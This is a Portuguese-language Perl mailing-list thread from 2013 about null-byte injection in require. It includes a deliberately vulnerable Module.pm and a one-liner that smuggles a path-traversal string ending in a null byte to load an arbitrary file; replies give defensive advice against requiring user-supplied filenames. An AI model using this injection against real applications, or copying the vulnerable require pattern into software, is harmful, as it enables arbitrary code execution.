[SP-pm] Perl e Null byte

Daniel de Oliveira Mantovani daniel.oliveira.mantovani at gmail.com
Wed Jun 12 09:13:02 PDT 2013


http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html

2013/6/12 Blabos de Blebe <blabos at gmail.com>:
>> mas ficou claro que é possível injetar um 'evil code' num código
>> vulnerável sem muitos problemas.
>
> Correto. Em um código vulnerável é possível injetar 'evil code' sem maiores
> problemas. Isso é um bug que existe no nosso universo, infelizmente :)
>
> No caso de Perl e principalmente nos casos onde se faz necessária a inclusão
> e execução de código, nós devemos ficar atentos para não escrever código
> vulnerável, evitando coisas óbvias como, aplicar 'eval' em strings que
> venham de fontes não confiáveis, interpolar entradas do usuário, vulgo, dar
> require em nomes de arquivos que venham de entrada do usuário e coisas do
> gênero.
>
> Existem módulos no cpan, especialmente criados para lidar com essas
> situações, nem sempre da melhor maneira possível.
>
> No link abaixo, podemos encontrar a ponta do iceberg e começar a conversa:
>
> http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html
>
> []'s
>
>
> 2013/6/11 Junior Moraes <junior at fvox.com.br>
>>
>> Hi.
>>
>> Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1]
>> dentro de um webservice que retorna as informações desejadas. Neste módulo,
>> temos o método adExport() que recebe um parâmetro (que, no caso da
>> aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o
>> módulo.
>> Fiquei brincando de manipular o path com esse parâmetro, mas a
>> concatenação da string '.pm' dificultava as coisas. Porém, como na
>> exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível
>> ignorar isso com o bom e velho null byte[2].
>>
>> Escrevi um exemplo prático:
>>
>> $ pwd
>> /home/fvox/poc
>>
>> $ cat Module.pm
>> package Module;
>>
>> use common::sense;
>> use Moo;
>> use Carp;
>>
>> use vars qw(@ISA @EXPORT);
>> @ISA = qw(Exporter);
>> @EXPORT = qw(testing);
>>
>> sub testing {
>>     my $plugin = shift;
>>
>>     my $module = 'Module/' . $plugin . '.pm';
>>     eval { require $module; };
>>     croak $@ if $@;
>>
>>     $module =~ s/\//::/g;
>>     $module =~ s/\.pm$//gi;
>>     my $obj = $module->new;
>> }
>>
>> 1;
>>
>> $ cat inc.pl
>> print "Null Byte injetado com sucesso! :)\n";
>>
>> $ perl -MModule -E'say
>> testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'
>> Null Byte injetado com sucesso! :)
>> Can't locate object method "new" via package
>> "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"
>> (perhaps you forgot to load
>> "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at
>> Module.pm line 21.
>>
>>
>> Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é
>> possível injetar um 'evil code' num código vulnerável sem muitos problemas.
>> Suponho que também funcione na função open(), entre outros casos.
>> Alguém já tinha brincado com isso antes? Hhauhauh
>>
>> PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de
>> retardado e brincar com isso em 2013... :P
>>
>> [1] https://metacpan.org/module/AnyData
>> [2] http://en.wikipedia.org/wiki/Null_character
>>
>> --
>>
>> ====================================
>> Junior "fvox" Moraes
>> Linux Reg. #557527
>> junior[at]fvox[dot]com[dot]br
>> fb[dot]com/juniorfvox
>> twitter[dot]com/fvox
>> ====================================
>> =begin disclaimer
>>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>>  SaoPaulo-pm mailing list: SaoPaulo-pm at pm.org
>>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
>> =end disclaimer
>>
>
>
> =begin disclaimer
>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>  SaoPaulo-pm mailing list: SaoPaulo-pm at pm.org
>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
> =end disclaimer
>



-- 

-dom

--

IBM - Business Analytics Optimization Consultant
Daniel Mantovani +5511 8538-9897
XOXO


More information about the SaoPaulo-pm mailing list